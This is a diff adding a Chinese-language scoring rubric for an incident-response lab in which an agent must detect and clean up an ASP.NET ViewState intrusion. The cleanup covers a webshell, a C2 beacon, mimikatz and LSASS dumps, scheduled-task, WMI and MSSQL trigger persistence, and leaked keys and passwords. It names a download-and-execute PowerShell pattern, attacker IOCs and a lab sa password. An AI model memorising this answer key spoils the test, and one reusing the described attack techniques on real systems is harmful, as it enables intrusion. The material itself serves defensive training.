方案需含本次改动服务的状态/语法验证(如 `iisreset /status`、`sqlcmd -Q "SELECT @@VERSION"`),并提示对其他服务可能的副作用。 + +如果 plan 缺这一项,对应 CHK 的"完整性"得 0 分。 + +--- + +## 原子 CHK 清单 + +### 维度 1:入侵实体识别与处置 + +#### CHK-01:Webshell 检出 + 删除 — `help.aspx` `ENT-F01` + +- **证据**:`C:\inetpub\wwwroot\CRM\help.aspx` 存在(一句话 ASPX Webshell,w3wp.exe 下可直接执行任意代码) +- **检测分**(3 分) + - 发现:识别到 CRM 站点目录下存在非预期的 `help.aspx` 文件 + - 证据:引用文件路径 `C:\inetpub\wwwroot\CRM\help.aspx`;分析文件内容为 ASPX Webshell(含 `Request`/`Response`/`Eval` 等特征关键字);或通过 `target-query -f filesystem` 列举 CRM 目录找到异常文件 + - 归因:将 Webshell 与攻击者通过 ViewState RCE 落地后的持久访问通道关联;指出运行于 LocalSystem 权限下的 w3wp.exe 可直接执行系统级命令 +- **方案分**(2 分) + - 正确性:方案给出删除命令 `Remove-Item -Force "C:\inetpub\wwwroot\CRM\help.aspx"` + - 完整性:方案含删除后 IIS 日志审计(检查访问 help.aspx 的历史记录)+ 扫描站点目录其他异常 `.aspx` 文件(`Get-ChildItem -Recurse -Filter *.aspx | Get-FileHash` 对比预期清单)+ 验证文件已不存在 + +--- + +#### CHK-02:Beacon 二进制检出 + 删除 — `WindowsAuditSvc.exe` `ENT-F06` + +- **证据**:`C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` 存在(攻击者落地的 C2 Beacon 二进制,伪装为 Windows 审计服务;同目录下有 `last-beacon.log` 记录 C2 回连尝试) +- **检测分**(3 分) + - 发现:识别到 `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` 及同目录日志文件 + - 证据:引用文件路径;通过 `target-query -f filesystem` 发现 `C:\ProgramData\WindowsAudit\` 目录及其内容(`WindowsAuditSvc.exe` + `last-beacon.log`);引用 `last-beacon.log` 中含 C2 域名 `malicious-update.example.cn` 的回连记录;结合 SAS 告警(`MaliciousProcess`)判定该二进制为 Beacon + - 归因:与 C2 通信(`malicious-update.example.cn:8443`)关联;伪装为"WindowsAudit"服务名是常见 APT 伪装手法(命名贴近系统审计工具以降低可疑度) +- **方案分**(2 分) + - 正确性:方案给出先停进程再删文件:`Stop-Process -Name WindowsAuditSvc -Force -ErrorAction SilentlyContinue`;然后 `Remove-Item -Recurse -Force "C:\ProgramData\WindowsAudit\"` + - 完整性:方案含扫描其他常见 C2 落地位置(`C:\ProgramData\`、`C:\Windows\Temp\`、`C:\Users\Public\`)+ 检查是否有服务注册(`Get-Service | Where-Object { $_.PathName -like '*WindowsAudit*' }`)+ 确认目录已清除 + +--- + +#### CHK-03:Beacon 进程终止 — `WindowsAuditSvc.exe` `ENT-P02` `ENT-P03` + +- **证据**:SAS 告警记录 `WindowsAuditSvc.exe` 曾以进程方式运行并尝试外连 C2(`malicious-update.example.cn:8443`);`last-beacon.log` 包含回连记录;取证时进程可能已因重启而不在运行,但二进制仍在磁盘且存在重新启动风险(schtasks / WMI 持久化可再次拉起) +- **检测分**(3 分) + - 发现:识别到 `WindowsAuditSvc.exe` 曾运行或仍在运行 + - 证据:引用 SAS 告警(`MaliciousProcess` 类型)和 `last-beacon.log` 中的 C2 回连记录;若进程仍活跃则引用 PID 和网络连接;通过 `target-query -f processes` 取证或离线分析 Prefetch 文件确认曾执行 + - 归因:将进程与 C2 Beacon 关联;说明该进程配合 schtasks/WMI 持久化机制可被周期性拉起 +- **方案分**(2 分) + - 正确性:`Stop-Process -Name WindowsAuditSvc -Force`(或 `taskkill /F /IM WindowsAuditSvc.exe`) + - 完整性:方案含先阻断外联(CHK-07 防火墙规则)再杀进程的顺序说明 + 验证进程不再存在 + 检查是否有父进程或守护机制重启 + +--- + +#### CHK-04:攻击工具残留检出 + 删除 — `mimikatz.exe` `ENT-F06` +- **证据**:`C:\Windows\Temp\mimikatz.exe`(攻击者落地的凭证窃取工具残留) +- **检测分**(3 分) + - 发现:识别到 `C:\Windows\Temp\mimikatz.exe` + - 证据:引用文件路径;文件名 `mimikatz.exe` 为已知凭证窃取工具特征名;通过 `target-query -f filesystem` 枚举 `C:\Windows\Temp\` 找到 + - 归因:将 mimikatz.exe 与攻击者横向移动前的凭证窃取行为关联;结合 `lsass.dmp` 和 `creds.txt`(CHK-05)构成完整凭证窃取链路 +- **方案分**(2 分) + - 正确性:`Remove-Item -Force "C:\Windows\Temp\mimikatz.exe"` + - 完整性:方案含扫描全盘寻找 mimikatz 副本(`Get-ChildItem -Recurse -Filter mimikatz* -ErrorAction SilentlyContinue`)+ 同步处理 CHK-05 的关联残留物(procdump / lsass.dmp / creds.txt) + +--- + +#### CHK-05:凭证窃取残留检出 + 删除 — `procdump.exe + lsass.dmp + creds.txt` `ENT-F04` + +- **证据**:`C:\Windows\Temp\procdump.exe`(攻击者落地的 LSASS 转储工具)、`C:\Windows\Temp\lsass.dmp`(~30MB,LSASS 内存转储,文件头为 `MDMP`)、`C:\Windows\Temp\creds.txt`(mimikatz 解析出的明文密码) +- **检测分**(3 分) + - 发现:识别到上述三个文件全部存在 + - 证据:引用各文件路径;`lsass.dmp` 通过文件头 `MDMP` 或文件大小识别为 LSASS 进程内存转储;`creds.txt` 包含明文密码(需警告内容高度敏感);通过 `target-query -f filesystem` 列举 `C:\Windows\Temp\` 发现 + - 归因:将三者组合还原凭证窃取攻击链(procdump 转储 lsass → mimikatz 解析 → creds.txt 存储);说明攻击者可利用明文凭证进行横向移动 +- **方案分**(2 分) + - 正确性:批量删除:`Remove-Item -Force "C:\Windows\Temp\procdump.exe","C:\Windows\Temp\lsass.dmp","C:\Windows\Temp\creds.txt"` + - 完整性:方案含在删除前取证保留(至少保留 creds.txt 内容用于确定需轮换的凭证范围)+ 扫描其他 Temp/Public 目录是否有副本 + 删除后验证三个文件均不存在 + 提示 creds.txt 中出现的所有密码必须立即轮换(级联处理到 CHK-21/CHK-22) + +--- + +#### CHK-06:攻击者 IP 入站封禁 — `8.217.135.152` `ENT-N01` + +- **证据**:攻击者源 IP `8.217.135.152`(IIS 访问日志 / 防火墙日志中可见,初始 HTTP GET `/CRM/web.config.bak` 和 POST `/CRM/Login.aspx` 来源) +- **检测分**(3 分) + - 发现:建议封禁攻击者 IP `8.217.135.152` + - 证据:引用该 IP 在 IIS 日志中的访问记录(`C:\inetpub\logs\LogFiles\W3SVC1\`);识别 GET `/CRM/web.config.bak` 返回 200 和 POST `/CRM/Login.aspx` 的 ViewState payload 请求 + - 归因:将该 IP 认定为攻击者入侵来源;与后续 C2 域名 `malicious-update.example.cn` 解析到同一 IP 相关联 +- **方案分**(2 分) + - 正确性:Windows 防火墙全协议封禁:`New-NetFirewallRule -DisplayName "Block_AttackerIP" -Direction Inbound -RemoteAddress 8.217.135.152 -Action Block` + - 完整性:含 Outbound 方向也封禁(`-Direction Outbound`)+ 验证规则生效(`Get-NetFirewallRule -DisplayName "Block_AttackerIP"`)+ 规则持久化默认即持久(Windows 防火墙规则重启保留)+ 提示若有安全组/云防火墙也同步配置 + +--- + +#### CHK-07:恶意 IP 出站封禁 + 域名封禁 — C2 endpoint `ENT-N02` `ENT-N03` + +- **证据**:C2 endpoint `malicious-update.example.cn` → `8.217.135.152:8443`(Beacon 心跳目标) +- **检测分**(3 分) + - 发现:识别出 C2 域名 `malicious-update.example.cn` 和 IP `8.217.135.152` 需要出站封禁 + - 证据:引用 Beacon 配置中的 C2 地址(通过反编译 `WindowsAuditSvc.exe` 或 SAS 告警中的 C2 通信记录);引用端口 `8443`(HTTPS over 非标端口,绕过简单防火墙策略的特征) + - 归因:说明该域名/IP 组合是 Beacon 回传的唯一出口;即使 Beacon 进程被终止,封禁出站可防止重部署 +- **方案分**(2 分) + - 正确性:双重封禁:出站 IP 规则 `New-NetFirewallRule -DisplayName "Block_C2_IP_Out" -Direction Outbound -RemoteAddress 8.217.135.152 -Action Block`;出站端口规则 `New-NetFirewallRule -DisplayName "Block_C2_8443_Out" -Direction Outbound -Protocol TCP -RemotePort 8443 -Action Block`;DNS 层封禁(修改 hosts 文件 `Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious-update.example.cn"`) + - 完整性:含三层封禁说明(IP + 端口 + DNS)+ 验证各规则生效 + 说明 hosts 文件修改对非 DNS 解析路径(硬编码 IP 场景)的局限性 + +--- + +#### CHK-08:DLL hijack 恶意文件检出 + 删除 — `version.dll` `ENT-F06` `PER-H02` + +- **证据**:`C:\Program Files\Notepad++\version.dll`(攻击者植入的 DLL 搜索顺序劫持载体;系统 `version.dll` 的拷贝,签名仍有效但出现在非预期位置,创建时间与攻击窗口吻合) +- **检测分**(3 分) + - 发现:识别到 `C:\Program Files\Notepad++\version.dll` 存在且不属于 Notepad++ 正常安装 + - 证据:通过 `target-query -f filesystem` 枚举 Notepad++ 目录发现非预期 DLL;该 DLL 与 `C:\Windows\System32\version.dll` 哈希相同(攻击者拷贝系统 DLL 作为载体,真实场景中会替换为含恶意 DllMain 的转发 DLL);文件创建时间落在攻击窗口内 + - 归因:识别 DLL 搜索顺序劫持手法(T1574.001 — Notepad++ 启动时优先加载自身目录下的 version.dll);说明该技术在 APT 中常见,植入后每次 Notepad++ 启动即触发 +- **方案分**(2 分) + - 正确性:`Remove-Item -Force "C:\Program Files\Notepad++\version.dll"` + - 完整性:方案含删除后验证 Notepad++ 目录无残留非预期 DLL + 扫描其他应用程序目录(`Program Files\`、`Program Files (x86)\`)是否存在同类植入 + +--- + +### 维度 2:持久化清理 + +#### CHK-09:schtasks 计划任务定位 — `AuditTask` `PER-S04` + +- **证据**:计划任务 `\Microsoft\Windows\Maintenance\AuditTask` 存在(XML 文件 `C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AuditTask`,Trigger 每天 10:23,Author: SYSTEM) +- **检测分**(3 分) + - 发现:识别到可疑计划任务 `\Microsoft\Windows\Maintenance\AuditTask` + - 证据:通过 `target-query -f tasks` 枚举计划任务,取得完整 XML;引用 Task 关键字段:`SYSTEM`、Trigger(每天 10:23)、Action(`powershell.exe -ep bypass -enc `);或在线系统用 `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` + - 归因:将该 Task 认定为持久化机制;指出路径 `\Microsoft\Windows\Maintenance\` 是攻击者常用的系统任务伪装路径;SYSTEM 身份 + `-ep bypass -enc` 参数组合是强烈恶意信号 +- **方案分**(2 分) + - 正确性:方案引导到 CHK-10 先解码确认载荷内容,再通过 CHK-11 删除;单独定位步骤只需确认任务存在即可 + - 完整性:方案建议枚举所有非标准路径计划任务(`Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\Windows\*" -or $_.Principal.UserId -eq "SYSTEM" }`)以覆盖同类植入 + +--- + +#### CHK-10:schtasks 编码载荷解码识别 `PER-S04` + +- **证据**:AuditTask Action 中 `powershell.exe -ep bypass -enc ` 的 base64 解码后是拉取 stage3 的下载命令 +- **检测分**(3 分) + - 发现:识别到 Action 中的 base64 编码载荷并执行解码分析 + - 证据:引用 base64 字符串(从 Task XML 的 `` 字段提取);给出解码结果(`[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(""))` 解出的 PowerShell 命令);解码结果显示为下载执行命令(IEX (New-Object Net.WebClient).DownloadString 等形态) + - 归因:将编码载荷与 stage3 C2 拉取行为关联;指出 `-ep bypass` 绕过执行策略是恶意 PowerShell 的标志性手法 +- **方案分**(2 分) + - 正确性:解码分析本身即为方案核心;引导到 CHK-11 删除任务 + - 完整性:方案建议将解码结果上报 SOC(包含 URL、C2 地址等 IOC);确认解码过程使用 UTF-16LE 解码(PowerShell `-enc` 默认 UTF-16LE) + +--- + +#### CHK-11:schtasks 删除 `PER-S04` + +- **证据**:AuditTask 已定位(CHK-09),载荷已解码(CHK-10),此项为实际删除 +- **检测分**(3 分) + - 发现:确认在执行删除前任务仍存在 + - 证据:`Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` 返回有效对象 + - 归因:(延续 CHK-09 归因,本项重点在执行) +- **方案分**(2 分) + - 正确性:`Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask" -Confirm:$false` + - 完整性:含删除后验证(任务不再出现)+ 提示备份 XML 文件到取证存档后再删除 + 扫描是否有相同载荷哈希的其他任务(防备份持久化) + +--- + +#### CHK-12:WMI 永久订阅 3 对象定位 — `AuditMonitor` / `AuditAction` `PER-E02` + +- **证据**:WMI `root\subscription` 命名空间中存在:`__EventFilter` 名为 `AuditMonitor`(`Win32_LocalTime Hour=10 AND Minute=23` 触发)、`ActiveScriptEventConsumer` 名为 `AuditAction`(ScriptText 含 VBScript,向日志文件追加时间戳)、`__FilterToConsumerBinding` 绑定两者 +- **检测分**(3 分) + - 发现:识别到 WMI 永久事件订阅的全部 3 个组成对象 + - 证据:通过 python-cim 离线解析块设备上 `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`: + ```python + from cim import CIM + c = CIM('/mnt/.../Repository') + for obj in c.query("SELECT * FROM __FilterToConsumerBinding"): + print(obj) + ``` + 或在线用 `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`;引用 Filter.Name = `AuditMonitor`,Consumer.Name = `AuditAction` + - 归因:WMI 永久订阅是 Windows APT 常用无文件持久化手法;`Win32_LocalTime` 时间条件触发在合法管理工具中极罕见,是高可信恶意信号 +- **方案分**(2 分) + - 正确性:方案明确说明需删除 3 个对象(Filter + Consumer + Binding),引导到 CHK-14 + - 完整性:方案建议枚举全部非系统 WMI 订阅(`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`)确认无其他恶意订阅 + +--- + +#### CHK-13:WMI ScriptText 分析识别 `PER-E02` + +- **证据**:`ActiveScriptEventConsumer "AuditAction"` 的 `ScriptText` 字段含 VBScript 代码(向 `C:\ProgramData\WindowsAudit\wmi-fired.log` 追加时间戳——与 schtasks AuditTask 构成双路持久化,功能等效但实现语言不同) +- **检测分**(3 分) + - 发现:识别到 ScriptText 字段含可执行载荷 + - 证据:从 `AuditAction` Consumer 对象提取 `ScriptText` 字段;分析 VBScript 内容——`CreateObject("Scripting.FileSystemObject")` 写日志到 `WindowsAudit` 目录(与 Beacon 落地目录相同) + - 归因:与 CHK-10 的 schtasks 载荷对比,指出攻击者部署了双路持久化(schtasks + WMI),两者写入同一 `WindowsAudit` 目录,说明防御需同时清除两路 +- **方案分**(2 分) + - 正确性:分析 VBScript 内容,确认日志路径与 C2 基础设施目录一致 + - 完整性:将 VBScript 中的文件路径与 CHK-02 Beacon 目录 `C:\ProgramData\WindowsAudit\` 关联 + +--- + +#### CHK-14:WMI 3 对象全部清除 `PER-E02` + +- **证据**:WMI `root\subscription` 下的 Filter `AuditMonitor`、Consumer `AuditAction`、Binding 已定位(CHK-12),需全部删除 +- **检测分**(3 分) + - 发现:删除前确认 3 对象均存在(防误报漏删) + - 证据:`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like '*AuditMonitor*' }` 返回非空 + - 归因:(延续 CHK-12 归因) +- **方案分**(2 分) + - 正确性:按顺序删除 3 对象(先删 Binding,再删 Filter 和 Consumer,防孤立对象触发): + ```powershell + Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | + Where-Object { $_.Filter -like '*AuditMonitor*' } | Remove-WmiObject + Get-WmiObject -Namespace root\subscription -Class __EventFilter | + Where-Object Name -eq 'AuditMonitor' | Remove-WmiObject + Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | + Where-Object Name -eq 'AuditAction' | Remove-WmiObject + ``` + - 完整性:含删除后验证(三个 Get-WmiObject 均返回空)+ 提示 `winmgmt` 服务可能需重启以清理内存缓存 + 建议用 `WMI Explorer` 工具人工核查 + +--- + +#### CHK-15:DLL hijack 检出(位置 + 时间窗口 + 搜索顺序分析) `PER-H02` + +- **证据**:`C:\Program Files\Notepad++\version.dll` 不属于 Notepad++ 正常安装;该 DLL 与 `C:\Windows\System32\version.dll` 哈希相同(攻击者拷贝系统 DLL 作为载体),创建时间与攻击窗口吻合 +- **检测分**(3 分) + - 发现:识别到 Notepad++ 目录下存在非预期的 `version.dll` + - 证据:通过 `target-query -f filesystem` 枚举 Notepad++ 目录发现该 DLL;注意该 DLL 与 System32 同名 DLL 哈希一致——攻击者在本靶场中使用系统 DLL 副本作为占位(真实 APT 场景中会替换为含恶意 DllMain 的转发 DLL);文件元数据(创建/修改时间)落在攻击时间窗口内 + - 归因:DLL 搜索顺序劫持(T1574.001 side-loading)——Windows 的 DLL 搜索顺序中,应用程序自身目录优先于 System32,Notepad++ 启动时会优先加载自身目录下的 version.dll +- **方案分**(2 分) + - 正确性:删除 `C:\Program Files\Notepad++\version.dll`(引导到 CHK-08 执行层) + - 完整性:方案含扫描其他应用程序目录(`Program Files\`、`Program Files (x86)\`)是否存在同类非预期 DLL 植入 + +--- + +#### CHK-16:MSSQL Logon Trigger + xp_cmdshell 检出 `PER-D02` + +- **证据**:`master` 数据库存在 Server-level Logon Trigger `tr_audit_logon`(`ON ALL SERVER FOR LOGON`,体内 `EXEC xp_cmdshell 'cmd.exe /c echo ...'`),且 `xp_cmdshell` 已启用。该 Trigger 在 SQL Express 上导致 **所有 SQL 登录(包括 sa 和 Windows 认证)失败**——xp_cmdshell 的运行时错误传播到 LOGON 事件上下文,使登录事务回滚。 + + > **重要**:该 Trigger 是 INTENTIONALLY BROKEN——攻击者植入的 Logon Trigger 在 SQL Express 上触发 xp_cmdshell 时产生运行时错误,导致**所有**后续 SQL 连接(包括 sa 混合认证和 Windows 集成认证)均失败。SQL Error Log 中记录 `"Logon failed for login 'X' due to trigger execution"`。检测 Agent 应能从 ERRORLOG 中识别此异常模式。 +- **检测分**(3 分) + - 发现:识别到 MSSQL Logon Trigger `tr_audit_logon` 和 xp_cmdshell 启用配置 + - 证据:通过 SQL Error Log(`C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Log\ERRORLOG`)发现 `"Logon failed for login ... due to trigger execution"` 错误条目(所有连接尝试均留此记录);或通过离线检查 `master.mdf`;引用 Trigger 定义中的 `xp_cmdshell` 调用 + - 归因:MSSQL Logon Trigger 是 SQL Server 特有的数据库级别持久化手法(SQL Express 上无 SQL Agent,Logon Trigger 是可达的等效替代);xp_cmdshell 启用赋予数据库引擎操作系统命令执行能力;即使 Trigger 已损坏,其存在本身说明攻击者具有 sysadmin 权限 +- **方案分**(2 分) + - 正确性:方案明确指出:由于 Trigger 导致所有 SQL 登录失败,需使用 **单用户模式**(`sqlservr.exe -m -s SQLEXPRESS`)启动 SQL Express,此模式跳过 Logon Trigger 执行;或利用 DAC(Dedicated Admin Connection)绕过 + - 完整性:方案含核查 xp_cmdshell 当前状态 + 警示所有 SQL 连接方式(sa/Windows auth)均受影响 + 指引到 CHK-17 执行删除 + +--- + +#### CHK-17:MSSQL 后门清除 + xp_cmdshell 关闭 `PER-D02` + +- **证据**:MSSQL Logon Trigger `tr_audit_logon` 已定位(CHK-16),需删除并关闭 xp_cmdshell +- **检测分**(3 分) + - 发现:删除前确认 Trigger 仍存在且 xp_cmdshell 启用 + - 证据:在单用户模式连接成功后:`SELECT name FROM sys.server_triggers WHERE name = 'tr_audit_logon'` 返回 1 行;`EXEC sp_configure 'xp_cmdshell'` 的 `run_value` 为 1 + - 归因:(延续 CHK-16 归因,本项重点在执行) +- **方案分**(2 分) + - 正确性:需绕过 Logon Trigger(因为 Trigger 导致**所有** SQL 登录失败)。等效正确路径: + - **路径 A(单用户模式)**:`net stop MSSQL$SQLEXPRESS` → `sqlservr.exe -m -s SQLEXPRESS` → `sqlcmd -S .\SQLEXPRESS -E` 连接 → `DROP TRIGGER tr_audit_logon ON ALL SERVER; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;` → 恢复正常服务 + - **路径 B(DAC)**:使用 `sqlcmd -S admin:.\SQLEXPRESS -E` 通过 Dedicated Admin Connection 连接(DAC 不触发 Logon Trigger)→ 同上 DROP 命令 + - 两种路径均可接受;方案需说明为什么不能直接连接(Trigger 阻断所有登录) + - 完整性:含恢复正常模式后验证 Trigger 不存在 + xp_cmdshell 已关闭 + CRM 应用连接串验证(访问页面确认 CRM 仍可用) + ```sql + -- 在 sqlcmd 中执行: + SELECT COUNT(*) FROM sys.server_triggers WHERE name = 'tr_audit_logon'; + -- 期望返回 0 + EXEC sp_configure 'xp_cmdshell'; + -- 期望 run_value = 0 + ``` + +--- + +### 维度 3:漏洞修复 + +#### CHK-18:ViewState 反序列化漏洞根因识别 + MachineKey 轮换 `VUL-02` + +- **证据**:`web.config` 中硬编码的 `` 导致攻击者能用 ysoserial.net 构造合法签名的恶意 ViewState payload;MachineKey 硬编码是根因 +- **检测分**(3 分) + - 发现:识别 ASP.NET ViewState 反序列化漏洞的根因为 MachineKey 硬编码泄露 + - 证据:引用 `web.config` 中 `` 节点的 `validationKey` 和 `decryptionKey` 值;说明攻击者通过下载 `web.config.bak`(CHK-19)获得这两个密钥后,可用 ysoserial.net 构造任意有效 ViewState 载荷;结合 IIS 日志中的 POST `/CRM/Login.aspx` 请求 + - 归因:将 MachineKey 硬编码定性为漏洞(而非单纯配置错误)——ASP.NET 的 ViewState 完整性依赖 MachineKey,密钥泄露等价于反序列化 RCE 利用条件满足;与 `web.config.bak` 错配(CHK-19)和 AppPool LocalSystem(CHK-20)构成三因合一入口 +- **方案分**(2 分) + - 正确性:轮换 MachineKey:生成新随机 `validationKey`(64字节十六进制)和 `decryptionKey`(32字节十六进制);更新 `web.config` 的 `` 节点;`iisreset /restart` 使配置生效(引导到 CHK-22 执行层) + - 完整性:含收紧 ViewState 配置:在 `` 节点启用 `enableViewStateMac="true"` 和 `ViewStateEncryptionMode="Always"`;提示轮换后所有现有会话 token 失效(用户需重新登录,业务影响低但需告知);引用到 `web.config.bak` 删除(CHK-19)确保泄露的 MachineKey 不再可被下载 + +--- + +#### CHK-19:web.config.bak 清除 + IIS staticContent `.bak` 错配修复 `BAS-06` + +- **证据**:`C:\inetpub\wwwroot\CRM\web.config.bak` 可通过 HTTP 直接下载(IIS `` 未限制 `.bak` 扩展名);文件内容与 `web.config` 相同,含硬编码 MachineKey 和数据库连接串 +- **检测分**(3 分) + - 发现:识别到 `web.config.bak` 公开暴露为漏洞入口 + - 证据:引用文件路径 `C:\inetpub\wwwroot\CRM\web.config.bak`;通过 `target-query -f filesystem` 确认文件存在;通过 IIS 日志确认攻击者 `GET /CRM/web.config.bak HTTP/1.1` 返回 200;识别 IIS `web.config` 的 `` 节点未对 `.bak` 做 MIME 限制或请求过滤 + - 归因:将 `.bak` 文件暴露定性为错配漏洞根因之一(非代码漏洞,是运维操作风险);运维备份文件留在 Web 根目录是高频真实事故模式 +- **方案分**(2 分) + - 正确性: + 1. 删除文件:`Remove-Item -Force "C:\inetpub\wwwroot\CRM\web.config.bak"` + 2. IIS 请求过滤拒绝 `.bak`:在 `C:\inetpub\wwwroot\CRM\web.config` 的 `` 中添加: + ```xml + + + + ``` + - 完整性:含全站扫描其他 `.bak`/`.old`/`.tmp` 等备份文件(`Get-ChildItem -Recurse -Include *.bak,*.old,*.tmp -Path C:\inetpub\`)+ `iisreset /restart` 使配置生效 + 验证 HTTP 访问 `/CRM/web.config.bak` 返回 403/404 + +--- + +### 维度 4:基线收紧 + +#### CHK-20:CRM 所在 AppPool Identity 改回 ApplicationPoolIdentity + `iisreset` `BAS-06` + +- **证据**:CRM 应用运行在 `DefaultAppPool`,其 `processModel.identityType` 当前为 `LocalSystem`(攻击者利用此配置通过 w3wp.exe RCE 直接获得 SYSTEM 权限);应改为最小权限的 `ApplicationPoolIdentity` +- **检测分**(3 分) + - 发现:识别到 CRM 所在 AppPool 使用 LocalSystem 身份是高风险错配 + - 证据:通过 `Import-Module WebAdministration; (Get-ItemProperty "IIS:\AppPools\DefaultAppPool").processModel.identityType` 发现值为 `LocalSystem`;或通过 `target-query -f filesystem` 读取 `C:\Windows\System32\inetsrv\config\applicationHost.config` 取得同等证据;引用该配置是 IIS 安全基线的违规项 + - 归因:将 AppPool LocalSystem 错配定性为入侵"直接权限提升"根因——攻击者通过 ViewState RCE 触发的 w3wp.exe 代码执行以 SYSTEM 权限运行,无需额外提权步骤;标准安全基线要求 AppPool 使用 `ApplicationPoolIdentity`(独立低权限账户) +- **方案分**(2 分) + - 正确性:方案给出修改 AppPool 身份的正确操作——将 CRM 所在 AppPool 的 `identityType` 改为 `ApplicationPoolIdentity`,然后 `iisreset /restart`。可接受为 CRM 创建独立 AppPool 再迁移的方案 + - 完整性:含变更后验证 CRM 应用正常访问(业务回归)+ 检查 CRM 应用是否依赖 LocalSystem 权限访问特定资源(如文件系统路径、注册表键),若有则需为 AppPool 账户单独授权 + 扫描其他 AppPool 是否有同样错配 + +--- + +#### CHK-21:SQL Express sa 弱口令轮换 + connection string 更新 `BAS-02` `BAS-03` + +- **证据**:SQL Express `sa` 账户密码为 `SpikeWin2019!`(已通过 `creds.txt` 明文泄露);`sa` 账户已启用(登录模式为 SQL 混合认证);`web.config` connection string 使用 `sa` 账户 +- **检测分**(3 分) + - 发现:识别到 sa 弱口令和 SQL 混合认证启用 + - 证据:引用 `web.config` 中 connection string 含 `sa` 账户和密码 `SpikeWin2019!`(明文硬编码);确认 SQL Express 以混合认证模式运行(`target-query -f registry` 查找 `HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\LoginMode` 值为 2);或从 `creds.txt`(CHK-05)中 Administrator 密码泄露推断 sa 密码同样面临泄露风险 + - 归因:sa 密码硬编码在 web.config(且可通过 `.bak` 文件被下载),攻击者已具备 sysadmin 权限(CHK-16 Trigger 植入佐证);不轮换等于留下持久后门 +- **方案分**(2 分) + - 正确性: + 1. 生成强密码:`$newpass = -join ((65..90)+(97..122)+(48..57)+('!','@','#','$') | Get-Random -Count 20 | ForEach-Object {[char]$_})` + 2. 轮换 sa 密码:`sqlcmd -S .\SQLEXPRESS -E -Q "ALTER LOGIN sa WITH PASSWORD='$newpass'"` + 3. 更新 `web.config` connection string(替换 `Password=SpikeWin2019!` 为新密码) + 4. 重启 CRM 所在 AppPool(`Restart-WebAppPool DefaultAppPool` 或独立池) + - 完整性:含业务回归验证(CRM 能正常连接数据库)+ 提示新密码应安全存储(密码管理器)而不是留在 PS history + 考虑是否需要禁用 sa 账户(创建专用低权限 CRM DB 账户替代) + +--- + +#### CHK-22:web.config MachineKey 轮换 + CRM AppPool 重启 `BAS-03` + +- **证据**:`web.config` 中 `` 的当前值已被攻击者获取(通过 `web.config.bak` 下载),这些密钥是构造恶意 ViewState 的必要条件;需轮换为新随机密钥 +- **检测分**(3 分) + - 发现:确认 web.config 中的 MachineKey 需要轮换(当前值已泄露) + - 证据:通过 `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config" -Pattern "machineKey"` 读取当前 validationKey/decryptionKey;通过 `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config.bak" -Pattern "machineKey"`(若 .bak 尚未删除)确认两者相同(即 .bak 暴露的就是当前使用的密钥);将这一发现与 CHK-18 的漏洞根因分析关联 + - 归因:(延续 CHK-18 归因,本项重点在执行层)MachineKey 不轮换意味着旧 ViewState payload 仍然有效,攻击者仍可用缓存的密钥再次攻击 +- **方案分**(2 分) + - 正确性: + 1. 生成新 MachineKey: + ```powershell + $validationKey = -join ((1..64) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) }) + $decryptionKey = -join ((1..32) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) }) + ``` + 2. 更新 `web.config` 的 `` 节点(validationKey 和 decryptionKey 均替换) + 3. 重启 CRM 所在 AppPool(`Restart-WebAppPool DefaultAppPool` 或独立池)使新 MachineKey 生效 + - 完整性:含业务回归验证(CRM 登录正常;旧会话 token 失效,用户需重新登录,这是预期行为)+ 确认 `web.config.bak` 已删除(CHK-19)以免新旧 MachineKey 混淆 + 提示若有负载均衡多实例,所有实例的 `web.config` 需同步更新同一 MachineKey(否则跨实例会话校验失败) + +## scores.json 输出 schema + +```json +{ + "checkpoints": [ + { + "chk_id": "CHK-01", + "name": "Webshell help.aspx 检出 + 删除", + "detection": {"discovery": 1, "evidence": 1, "attribution": 1, "total": 3, "max": 3, "rationale": "..."}, + "plan": {"correctness": 1, "completeness": 1, "total": 2, "max": 2, "rationale": "..."} + } + ] +} +``` diff --git a/ranges/aspnet-viewstate/disk.tar.gz b/ranges/aspnet-viewstate/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..b5dd0e76463b640b821d08255838d36191858dfc --- /dev/null +++ b/ranges/aspnet-viewstate/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2579fbc6ff5c00f55116ff259856a5f2b03bfb15267289da1bb1b9ca4671befb +size 265987090 diff --git a/ranges/aspnet-viewstate/disk.tar.gz.sha256 b/ranges/aspnet-viewstate/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..fbd35e46be5c683774f5471d55a5ce50e7bee318 --- /dev/null +++ b/ranges/aspnet-viewstate/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:52b1a1462a8d1dbcc293e2d7d13bcc960e5c1ea95f83075284e3002b137d8a21 +size 78 diff --git a/ranges/aspnet-viewstate/sas-mock/alerts.json b/ranges/aspnet-viewstate/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..a4b7a831f3239fe7ecf8d0b221f9db7a10ca4903 --- /dev/null +++ 